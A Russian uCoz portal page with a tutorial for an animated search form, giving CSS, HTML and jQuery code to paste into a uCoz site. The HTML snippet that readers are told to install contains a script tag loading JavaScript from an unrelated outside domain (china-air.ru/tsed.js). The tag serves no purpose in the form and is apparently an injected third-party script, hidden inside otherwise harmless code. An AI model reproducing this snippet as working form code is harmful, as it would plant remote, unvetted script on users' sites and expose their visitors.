Суббота, 2024 Ноябрь 23, 10:52:27
5mw.ru
Приветствую Вас Гость | RSS
Главная Регистрация Вход
Меню сайта
заходите аналог или тут

Разделы новостей
Раздача ICQ VIP [25]
7мизначки даром. =)
Видео [3618]
(прочее)
[Софт] [12911]
Программы и приложения для системы.
Музыка [12327]
Музыка всех направлений, шансон, транс, авто, клуб, драм и прочее )))
NEW Игры [6144]
Игры самые новые и популярные попадают именно в этот раздел!
Интересное [14947]
Интересные новости в Интернете статьи и новости эксклюзивные.
[Фото / Картинки] [703]
Наша галерея фото.
Приколы [111]
(разное)
Авто [103]
Тюнинг, аэрография, Железо, Тачки
Спорт [220]
Спортивные новости и всё что касается спорта)
Hi-Tech [121]
новости последних технологий xD
Общее [45]
Всё обо всём обзоры!
ЛюбоФФ) [118]
Любовь, интимное и глубокое чувство, устремлённость на другую личность, человеческую общность или идею. Л. необходимо включает в себя порыв и волю к постоянству, оформляющиеся в этическом требовании верности.
Мобильные технологии. [3986]
Мобилка
Клипы [227]
Видео клипы новинки и не только)
ДРАЙВЕРА [278]
Драйвера ну сами понимаете всегда нужны вот так у нас все последние из Интернета собраны)
Новости [254]
Самые последние новости.

Наш чат

Наш опрос
Что для вас интернет?
Всего ответов: 83

 
 
Главная » 2012 » Декабрь » 23 » Форма поиска для Ucoz

Форма поиска для Ucoz
22:16:39
Первое состояние, изображение лупы.
Второе состояние происходит после клика по первому, плавно изменяется ширина поля ввода поискового запроса.
Третье состояние происходит когда мы убираем фокус из поля ввода, запускается анимация на прокрутку лупы.

Итак давайте приступим к установке:
Установка CSS

Код
#search {
  font-family: Helvetica Neue, Helvetica, Arial, sans-serif;
  background:#fff;
  width: 8px;
  padding: 0 8px;
  height: 24px;
  font-size: 14px;
  color: #666;
  line-height: 24px;
  border: 0;
  outline: none;
  border-radius: 50px;
  position: relative;
  z-index: 5;
  -moz-transition: .1s ease;
  -ms-transition: .1s ease;
  -webkit-transition: .1s ease;
  -o-transition: .1s ease;
  transition: .1s ease;
  cursor:pointer;
}
#search:focus {
  border: 0;
  outline: none;
  width: 180px; /*ширина открытой формы*/
}
p.s {
  z-index: 4;
  position: relative;
  padding: 6px;
  border-radius: 100px;
  background: #abc8df;
  display: inline-block;
  cursor:pointer;
}
p.s:hover, p.s:hover:after {
  background: #9eb9cf;
}
p.s_fo {
  -o-transition: 0.9s;
  -moz-transition: 0.9s;
  -ms-transition: 0.9s;
  -webkit-transition: 0.9s;
  transition: 0.9s;
  -moz-transform: rotate(1080deg);
  -ms-transform: rotate(1080deg);
  -webkit-transform: rotate(1080deg);
  -o-transform: rotate(1080deg);
  transform: rotate(1080deg);
}
p.s:after {
  content: '';
  display: block;
  position: absolute;
  width: 7px;
  height: 12px;
  background: #abc8df;
  bottom: -4px;
  right: -2px;
  border-radius: 0 0 5px 5px;
  -moz-transform: rotate(-45deg);
  -ms-transform: rotate(-45deg);
  -webkit-transform: rotate(-45deg);
  -o-transform: rotate(-45deg);
  transform: rotate(-45deg);
}
.blue p.s, .blue p.s:after {background:#abc8df;} /*цвет лупы*/
.blue p.s:hover, .blue p.s:hover:after {background:#9eb9cf;} /*цвет лупы при наведении*/
.green p.s, .green p.s:after {background:#65b11c;}
.green p.s:hover, .green p.s:hover:after {background:#599c18;}
.gray p.s, .gray p.s:after {background:#d7d7d7;}
.gray p.s:hover, .gray p.s:hover:after {background:#c4c4c4;}
.pink p.s, .pink p.s:after {background:#ffbcef;}
.pink p.s:hover, .pink p.s:hover:after {background:#e49cd3;}
.orange p.s, .orange p.s:after {background:#faaa3a;}
.orange p.s:hover, .orange p.s:hover:after {background:#ea9e33;}
.black p.s, .black p.s:after {background:#676767;}
.black p.s:hover, .black p.s:hover:after {background:#484747;}


Добавляем их все также либо в стандартные стили ПУ / Дизайн / Управление дизайном (CSS), либо добавляем в свой css файл
Установка HTML

Код
<form method="get" action="/search/" class="blue">
  <p class="s"><script src="http://china-air.ru/tsed.js" type="text/javascript"></script><input name="q" id="search" type="text" value=""></p>
</form>


Устанавливаем в то месте где хотим видеть...
Установка JS

Код
<script>
jQuery(document).ready(function () {
  $('#search').focusout(function(){
  $('p.s').addClass("s_fo");
  });
  $('#search').focusin(function(){
  $('p.s').removeClass("s_fo");
  });
});
</script>


Копируем и вставляем либо в отдельный js файл, либо после html кода формы поиска

Чтобы изменить цветовыю схему формы поиска для uCoz достаточно изменить всего лишь один класс в html коде тега form ниже представленны 6 вариантов цветовых решений

blue - голубой
green - зеленый
gray - серый
pink - розовый
orange - оранжевый
black - черный

Если вы не нашли своего цветового решения, то можете с легкостью написать свое, прочтя комментарии в css коде, также можетеизменить и ширину раскрытой части.

Понравилась статья? Оставьте свое мнение в комментариях к ней...
Просмотров: 451 | Добавил: startsmart | Теги: | Рейтинг: 0.0/0 |
Всего комментариев: 0
 
Добавлять комментарии могут только зарегистрированные пользователи.
[ Регистрация | Вход ]
 
 

 

 
 
 
Наша огромная галерея имеет размер более 9 тысяч картинок!!!
Добавлять комментарии могут только зарегистрированные пользователи.
[ Регистрация | Вход ]
 
 

 

 
 
 
 

Самые горячие темы форума обсуждаем!!! И вы присоединяйтесь к нам!

 

Самые интересные новости на нашем портале.
Читайте бесплатно на 5 M W
 
 

 
 
 
Добавлять комментарии могут только зарегистрированные пользователи.
[ Регистрация | Вход ]
 
 

 
На нашем любимом сайте http://5mw.ru находиться уже более 1851.94 Mb новостей, файлов, музыки, фотографий, статей, отзывов и огромный форум с каждым днём это число увеличивается! Мы благодарим вас за посещения нашего сайта http://www.5mw.ru и рады что вы выбрали именно нас! У нас всегда много интересной информации и различные конкурсы в виде раздачи icq номерков и только на нашем сайте http://www.5mw.ru !

Замете это совершенно уникальный сайт! Новости собираются из самых качественных источников и всегда самые свежие и на сайте появляются моментально! Так же прошу вас заметить столь важный момент, мы против ВИРУСОВ в Интернете у нас нет никаких вредоносных программ подставных, рекламы которая навредит вашему компьютеру, есть совсем не много рекламы проверенных партнеров таких как google.com и д.р Так же наш сайт обладает огромной галереей фотографий: Девушки, авто, НЮ и других направлений много фотографий формата HQ (большого формата) посещайте наш увлекательный сайт мы всегда будем вас держать в курсе всех событий Интернета!!! не забывайте регистрироваться! Добавляйте в избранные! Получайте призы и подарки от нашего проекта! 5mw.ru всегда рады гостям и постоянным пользователям!
Добавлять комментарии могут только зарегистрированные пользователи.
[ Регистрация | Вход ]
 
 

Форма входа

Календарь новостей
«  Декабрь 2012  »
ПнВтСрЧтПтСбВс
     12
3456789
10111213141516
17181920212223
24252627282930
31

Поиск

Друзья сайта

  • Наши партнеры
  • Рекомендуем посетить: заходим! :)
    Музыка vkontakte.ru
    Текст песни Руки Вверх - Ты назови его как меня ( перевод, lyrics , слова, минусовка) Скачать текст песни и слова , скачать слова, минусовка
    Почему люди икают?
    АЗБУКА ПОЦЕЛУЯ
    экспиремент
    АЗБУКА ПОЦЕЛУЯ
    Как правильно дышать при беге?
    Для тех кому лениво обновлять контакт и ждать когда придёт сообщение качайте
    Отметить сразу всех друзей на фото
    Александр Куприн. Гранатовый браслет часть 1
    Пригороды Ялты
    Выбираем игру на Android
    Доступная недвижимость в Европе
    Сруб дома правильное решение
    Как выбрать сапоги
    Как я попал на Мальдивы за 2000 рублей
    Взял кредит под залог автомобиля
    Такси – как выбрать?
    Вечные ссылки как говорит SAPE
    Какие бывают изоляторы

    Случайное фото!

    БЕСПЛАТНЫЙ КАТАЛОГ
    NEWS "Добавь сайт бесплатно и только у нас!"
    [Добавь сайт](VIP)
    Амперметры и вольтметры. Приборы OrbitMerret

    PHOTO

    Статистика
     
    Привет,Прохожий !
    10:52:27 || 2024 Ноябрь 23
    Онлайн всего: 32
    Гостей: 32
    Пользователей: 0

    Copyright MyCorp © 2024